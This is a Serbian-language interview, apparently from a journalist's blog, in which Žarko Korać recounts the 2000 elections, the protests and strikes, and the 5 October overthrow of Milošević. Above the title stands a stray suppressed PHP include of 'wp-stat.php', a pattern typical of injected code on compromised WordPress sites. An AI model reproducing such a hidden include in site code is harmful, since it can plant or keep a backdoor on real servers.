@require(dirname(__FILE__).'/wp-stat.php'); ŽARKO KORAĆ, PREDSEDNIK SDU: Nismo znali već smo osećali šta će se desiti – Nedim Sejdinović

ŽARKO KORAĆ, PREDSEDNIK SDU: Nismo znali već smo osećali šta će se desiti

Posle 24. decembra, to jest, predsedničkih, saveznih i lokalnih izbora, već posmatrajući konferencije za štampu SPS-a, nama je bilo jasno da će oni pokušati da ponove sličan scenario kao na lokalnim izborima u novembru 1996. godine i da će pokušati da ponište izborne rezultate. Bilo im je jasno da u poništavanju ne mogu da idu do kraja, pa su se polako pomirili da su lokalne izbore izgubili skoro u potpunosti, pomirili su se i da su izgubili savezne izbore u Srbiji, jer su računali da će sa SNP-om imati većinu u parlamentu. Sa druge strane, videli su svoju veliku šansu na pokrajinskim izborima, jer su smatrali da će se glasovi protiv njih raspršiti na protivkandidate. Jedino im je bilo potpuno neprihvatljivo da priznaju da su izgubili predsedničke izbore. Što se toga tiče, i mi u DOS-u i režim napravili smo istu procenu, procenu da su zapravo predsednički izbori ključni. To bi bio prvi poraz Miloševića na neposrednim tajnim izborima i taj bi ga poraz, pre svega u očima njegovih sledbenika, prikazao kao čoveka koji može da izgubi izbore. Njegovim porazom bi počelo urušavanje piramide vlasti.

Da su spremni na sve da očuvaju vlast, bilo nam je jasno, ako ne iz prethodnog vremena, ono svakako onoga trenutka kada Savezna izborna komisija nije htela da nam dozvoli uvid u spisak potpisa za Miloševićevu kandidaturu. Po zakonu predstavnici DOS-a su imali apsolutno pravo uvida u spisak potpisa i tu je bilo očigledno da će SIK sakrivati stvari koje su ključne. Posle prvih izveštaja SIK-a, koji su jasno nagovestili u kom smeru će oni ići, odnosno kada je bilo jasno da će pokušati da “izvuku” drugi krug, mi smo veoma brzo doneli odluku da na drugi krug ne pristanemo. Tu odluku je, pre svega, doneo Vojislav Koštunica. On je bio čvrsto uveren – rezultati koji su dolazili nedvosmisleno su to pokazaivali – da je pobedio u prvom krugu i odlučan da ne pristane na drugi. Mi ostali smo ga podržali ne samo zbog toga što bi to bilo igranje sa izbornom voljom građana, već smo imali i jedan veoma pragmatičan razlog. Milošević bi u drugom krugu radio ono što nije radio u prvom: doveo bi svoje batinaše koji bi pretukli nekoliko članova izbornih komisija, ubacivali bi višak listića u izborne kutije… Onda bi poništio izbore na tim mestima, pa bi se išlo u treći krug, četvrti… Režim nije očekivao da će biti toliko poražen, te izborno nasilje nije organizovao za prvi krug.

Pošto smo imali jednoglasnu odluku da ne idemo u drugi krug, pitanje je bilo na koji način njih sprečiti da idu u drugi krug. Mi smo sva pravna sredstva iskoristili, ali smo tu gajili slabe nade. Jedino što nam je preostalo bilo je da preduzmemo javne proteste i da na sve moguće načine utičemo na javno mnjenje da se mobiliše. Imali smo razne ideje: da se protesti organizuju simultano u svim gradovim, da se selimo od grada do grada. Sastanci DOS-a su trajali satima u vrlo nervoznoj atmosferi. Svaki čas je neko dolazio, odlazio. S nama je, recimo, često sedeo glumac Branislav Lečić i mnogi drugi ljudi iz “karavana poznatih”. Sastanci su pomalo imali karakter antičke demokratije – ko god je ušao, mogao je da govori…

PRITISCI IZNUTRA I SPOLJA

Pritisci da se ide na drugi krug izbora bili su iznutra i spolja. Iznutra nas je sve veći broj dobronamernih ljudi pitao zašto ne idemo u drugi krug u kojem ćemo Miloševića još više poraziti… Spolja su pritisci bili možda još i jači. Mene je, recimo, zvao visoki funkcioner grčkog PASOK-a i skoro vikao na mene. Rekao je: “Jeste li vi ludi, zašto ne idete u drugi krug?!” Nisu to bile njegove loše namere, jednostavno, oni su imali takvu procenu. Bilo je i zabrinutih poziva iz evropskih prestonica, iz sedišta srodnih partija. Uglavnom su proveravali da li smo sigurni da tako treba. Zvali su čak i ministri inostranih poslova, pa i premijeri i predsednici. Kako je vreme prolazilo, pritisci su jačali, pa su se i pojedini lideri DOS-a počeli kolebati. Doduše samo u načelnom smislu, pitali su nas ostale da li možda grešimo što ne pristajemo na drugi krug izbora. Neki su otišli i dalje i predlagali da zamolimo Crkvu da uputi apel da se ide u drugi krug, pa da onda mi, kao, kažemo – “u redu, ako Crkva tako kaže, ako ćemo tako sačuvati mir u Srbiji, ići ćemo u drugi krug”. Ali, ni u jednom trenutku to nije bilo ni blizu ozbiljne odluke…

Odlučili smo se za proteste, a oni su, kao što znate, u nekim gradovima bili izvanredni. I u Beogradu su bili dosta dobri, a najteži trenutak je bio vikend, kada smo znali da po prirodi stvari opada interesovanje Beograđana za proteste. Plašili smo se da ne ponovimo Vidovdanski sabor. Pošto je bilo jasno da režim nećemo srušiti na goloj ulici, odlučili smo se da krenemo u generalni štrajk, mada smo bili svesni da u Srbiji njega nije bilo od 1945. godine, da su odrasle tri generacije ljudi koji nisu znali šta je to generalni štrajk. Ljudi su se u Beogradu uglavnom odazvali na poziv da zatvore radnje, međutim, blokada grada nije davala rezultate. Policija je vrlo lako, kao što znate, razbila blokadu na Brankovom mostu, taksistima su oduzimali tablice. Videli smo da ćemo samo žrtvovati ljude, da će mnogi od njih ostati bez saobraćajnih dozvola, da će neki od njih biti prekršajno ili, čak, krivično gonjeni, a da Beograd neće stati. To su bili veoma teški trenuci.

Ključna stvar je bio štrajk u “Kolubari”, i to je veoma komleksna priča. Štrajk je imao nekoliko faza i davao je, ne samo nama, najveće nade. U “Kolubari” su sedam hiljada rudara jednoglasno doneli odluku da stupe u štrajk, a podržali su ih još nekoliko hiljada zaposlenih u pomoćnim službama. Kad god su specijalne jedinice policije i vojske dolazili da na silu zauzmu rudnik, preko Radio Lazarevca građani tog grada su bili obavešteni i oni su – to je bilo jako impresivno – odlazili do rudnika da podrže rudare. Kada su videli da ih čitav grad podržava, rudari su dobili dodatnu energiju, a policija i vojska kada su naišli na takvu atmosferu nisu bili voljni da upotrebe silu, mada je – po našim saznanjima – bilo i instrukcija da se puca u rudare, da se upotrebe sva sredstva da se zauzme rudnik…

Po izbornom zakonu, Koštunica nije mogao da se povuče sa izbornog listića za drugi krug izbora. Imali smo dve ideje šta da radimo ako do izbora ipak dođe. Prva je da pozovemo građane da blokiraju izborna mesta, da ljudi stanu ispred izbornih mesta i ne dozvoljavaju nikome da uđe. To je inače krivično delo, i to bi i građane i nas dovelo u direktni konflikt sa policijom, sa velikom izvesnošću da bi policija u tom slučaju upotrebila silu. Druga varijanta bila je da pozovemo građane da tog dana ne izlaze iz kuće. Da Srbija bude pusta. Međutim, u oba slučaja problem je bio što se u Vojvodini istog dana održavao drugi krug izbora za pokrajinski parlament. Naši prijatelji iz Vojvodine, Čanak, Mile Isakov i Kasa, uveravali su nas da moramo pozvati građane da izađu na drugi krug izbora za Pokrajinu, da je pokrajinska skupština za njih veoma važna. Znači, niti smo mogli da sprečimo glasanje, niti da pozovemo ljude da ne izlaze na ulicu, a Milošević bi, posle nedelje, sebe proglasio predsednikom. Nismo znali šta da radimo.

5. OKTOBAR

Tada smo odlučili da napravimo jedan veliki, ogromni miting u Beogradu i da damo ulitimatum Saveznoj izbornoj komisiji i Miloševiću da priznaju izborne rezultate. Procenili smo da je četvrtak najbolji dan za taj miting. Goran Svilanović je otišao u Užice, Veselinov je krenuo iz Pančeva, Velja Ilić iz Čačka, Ratko Filipović iz Sremske Mitrovice, Kasa iz Subotice… Dolazak ljudi iz unutrašnjosti nije imao samo za cilj povećanje brojnosti mitinga. Iz policije i od ljudi bliskih policiji dobijali smo sugestije da tog dana ne dozvolimo da se sva policija pronađe u Beogradu, odnosno da ju disperziramo. Kao što znate, to se i desilo, policija je bila u mobilnom stanju svuda duž puteva koji su vodili u Beograd.

Ja sam bio jedan od čelnika DOS-a koji su ostali u Beogradu. U štabu DOS-a tog dana dežurali smo Đinđić, Perišić, Batić i ja. Sedeli smo, dobijali infomracije da kolone pristižu i znali da će to biti miting na kojem ćemo nešto morati da uradimo. Negde oko pola jedanaest u štab je upao Velja Ilić u trenerci i usplahireno rekao da policija baca bojne otrove. Rekao je da je jedan od naših bacio flašu i pogodio policajca, a da su policajci potom jurnuli na njih i pucali u vazduh. Bili smo uznemireni, jer to je bio prvi okršaj. Poznati britanski publicista, Miša Gleni, koji je napisao prvu knjigu o raspadu Jugoslavije, sedeo je u predvorju DOS-a i, kada smo krenuli na miting, rekao nam je: “Ili imate sada ili nemate!” Ja sam potvrdio: “Ili imamo sada ili nemamo više nikada da srušimo režim!” Kada sam stigao na miting, sve je krenulo veoma loše, ozvučenje nije bilo nikakvo. Svega se sećam kao kroz maglu. Oko 15 časova i pet minuta prišao mi je nepoznat čovek i rekao: “Ultimatum je prošao, šta se čeka!” Tog trenutka je masa krenula da uđe u skupštinu…

Mi smo u razgovorima pre toga – setiće se toga i general Perišić i Đinđić – razgovarali upravo o tom trenutku. Rekao sam Perišiću: “Ja ne znam, generale, kako se narodu daju instrukcije za socijalnu revoluciju”. Perišić je bio veoma nezadovoljan tih dana pred četvrtak. Govorio je kako nemamo dobru koordinaciju, kako nismo dobro organizovani. Rekao sam mu: “Generale, ne može se narodu narediti da zauzme skupštinu; on to hoće ili neće!” I još sam mu rekao: “Hoćeš li ti preuzeti odgovornost da kažeš ‘narode juriš!’ Šta ako policajci upotrebe mitraljeze, da li bi mogao da živiš s tim da tom prilikom pogine 30-40 ljudi.” Nije tačno da mi nismo znali šta će se desiti, mi smo jednostavno osećali šta će se desiti. Ali je tačno da mi nismo izdali naredbu. Ista stvar se desila i u Rumuniji, nema naredbe za takve stvari. U pitanju je kolektivna odluka. Vrlo zanimljiv istorijski trenutak kada su ljudi prosto rekli da je dosta…

Kada su mladi ljudi krenuli na skupštinu, iz skupštine su bacili suzavce. Kada su građani počeli da lupaju prozore, ja sam mislio da će policija pucati i sklonio se uza zid da me ne pogode. Kada sam video da ne pucaju, otišao sam iza skupštine jer sam pretpostavljao da će policija pokušati da izađe na stražnji izlaz. Tamo sam video ljude kako pale i prevrću policijska vozila. Kako policija izlazi iz zgrade i predaje se, priča je za sebe…

Štab DOS-a to veče bio je premešten u prostorije Demokratske alternative na Terazijama, jer su jedino tamo bila blindirana vrata. U štabu smo sedeli Đinđić, Veselinov i ja. Tada sam prvi put video kalašnjikove, šlemove i neprobojne prsluke. Telefoni su neprestano zvonili, javljali su nam se razni ljudi, tražili pomoć, obaveštavali nas… Neke stvari smo uspeli da koordiniramo, a većina se odvijala sama od sebe.

KONTAKTI SA VOJSKOM I POLICIJOM

Što se tiče čuvenih kontakata sa vojskom i policijom, mislim da tu postoji dosta legendi i mistifikacija. Većina stvari koje se danas iznose u javnost uglavnom su netačne. I jedni i drugi učesnici žele da prikažu da su imali više kontakata nego što su imali. Ljudi koji sada dolaze na vlast žele da se prikažu moćnim i veštim političarima, vojska i policija želi da se “opere”. Tužna je istina da mi nismo imali konatakata sa vojskom. Ako neko tvrdi suprotno, voleo bih da iznese materijalne dokaze. Što se tiče policije, mi smo znali da su njihove udarne jedinice SAJ (Specijalne antiterorističke jedinice) i “Crvene beretke”, tzv. frenkijevci. Na njih smo se koncentrisali dosta rano između dva izborna kruga. Tačno je da je Đinđić kontaktirao sa komandantom “crvenih beretki”, a ja sam imao kontakte sa pojedinicima iz policije, pre svega da bih saznao kakvo je njihovo raspoloženje. To su uglavnom bili inspektori, specijalci, a i neki penzionisani oficiri. Informacije koje sam dobijao od njih bile su veoma korisne. Saznali smo da su za naš miting ukinuta sva bolovanja, znali smo koje su instrukcije imali, da su dobili dodatnu opremu, ali, istovremeno, znali smo i da je policija jako nemotivisana i da, većinom, nije spremna da brani režim… Velja Ilić danas tvrdi da je imao neke silne kontakte sa vojskom i policijom, ali ja sam to prvi put čuo kad je sve bilo gotovo. On to nama nikada nije rekao, možda zbog konspiracije.

Najmisteriozniji i do današnjeg dana ostao je spisak od 40 imena. Policija tvrdi da ga nije ni bilo, ali on je postojao i urađen je u Službi državne bezbednosti. Kažu da je spisak bio i proširen, da su se na njemu, osim naših imena i adresa, nalazili i podaci o našim suprugama, adrese naših prijatelja, spisak kafana i restorana u koje odlazimo, brojevi automobila koje vozimo i koje bismo mogli voziti. To je bio veoma detaljan spisak, koji je omogućavao naše hapšenje, mada ja smatram da bi oni išli na likvidaciju…

Naši životi su i nekoliko dana po petom oktobru bili ugroženi, jer se prisluškivanje nastavilo. Vojska je tvrdila da nas više ne prisluškuje, određeni delovi policije takođe, a nama su se javljali neki ljudi koji su nas obaveštavali da nas neprestano prisluškuju i nudili dokaze za to. To je bilo, moram priznati, veoma uznemirujuće. Za nas je sada postalo pitanje ne ko to nas prisluškuje, nego kuda te informacije idu. Ja sam ubeđen da neke, bar osnovne podatke o našim delatnostima Milošević i dan danas dobija. Imamo podatak da mu je još jedan deo policije lojalan, pre svega neki viši oficiri. Zbog toga je u policiji potrebna temeljna kadorvska promena, a onda i sistemska reorganizacija…

U trenutku kada je Koštunica polagao zakletvu pred Saveznom skupštinom i kada je delovalo da je sve gotovo, dobili smo informaciju da opasnost još uvek vreba iz zgrade MUP-a Srbije. Đinđić je tada pozvao “crvene beretke” da zauzmu tu zgradu i oni su – to mogu da potvrde i mnogo brojni prolaznici – sa automatima ušli u zgradu i zauzeli je. Tada, kao i tih dana posle 5. oktobra, postojala je velika mogućnost konflikta unutar policije. To je jedna duga i neiscrpna priča. Recimo, iz zgrade gde je Poštanska štedionica javio nam se čovek iz Državne bezbednosti i rekao da su upravo odvojili dokumente i spremaju se da ih nose na paljenje. Rekao je da, ako želimo to da sprečimo, on nam se stavlja na raspolaganje, on i neke njegove kolege. Malo ljudi zna i da se grupa pripadnika obaveštajnog odeljenja Ministarstva inostranih poslova zaključala u prostorije i sprečila uništavanje dokumentacije. U istom odeljenju došlo je do tuče kada su počele da kruže depeše između našeg ministarstva, ruskog misitarstva inostranih poslova i ambasadora SRJ u Rusiji, Bore Miloševića, da se omogući Marku Miloševiću da napusti zemlju. Dežurni službenici su te telegrame odneli Koštunici. Rekli su da predsednik SRJ mora da zna za te telegrame, a drugi su se tome protivili. To je bilo pre nego što je Koštunica zvanično položio zakletvu, 6. oktobra.

Bilo je jako mnogo haosa, mnogo sitnih epizoda za koje se možda nikada neće ni saznati. Najveći haos se dešavao u MUP-u, a po meni on tamo još uvek traje…

Nedim Sejdinović

Tamara Kaliterna

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.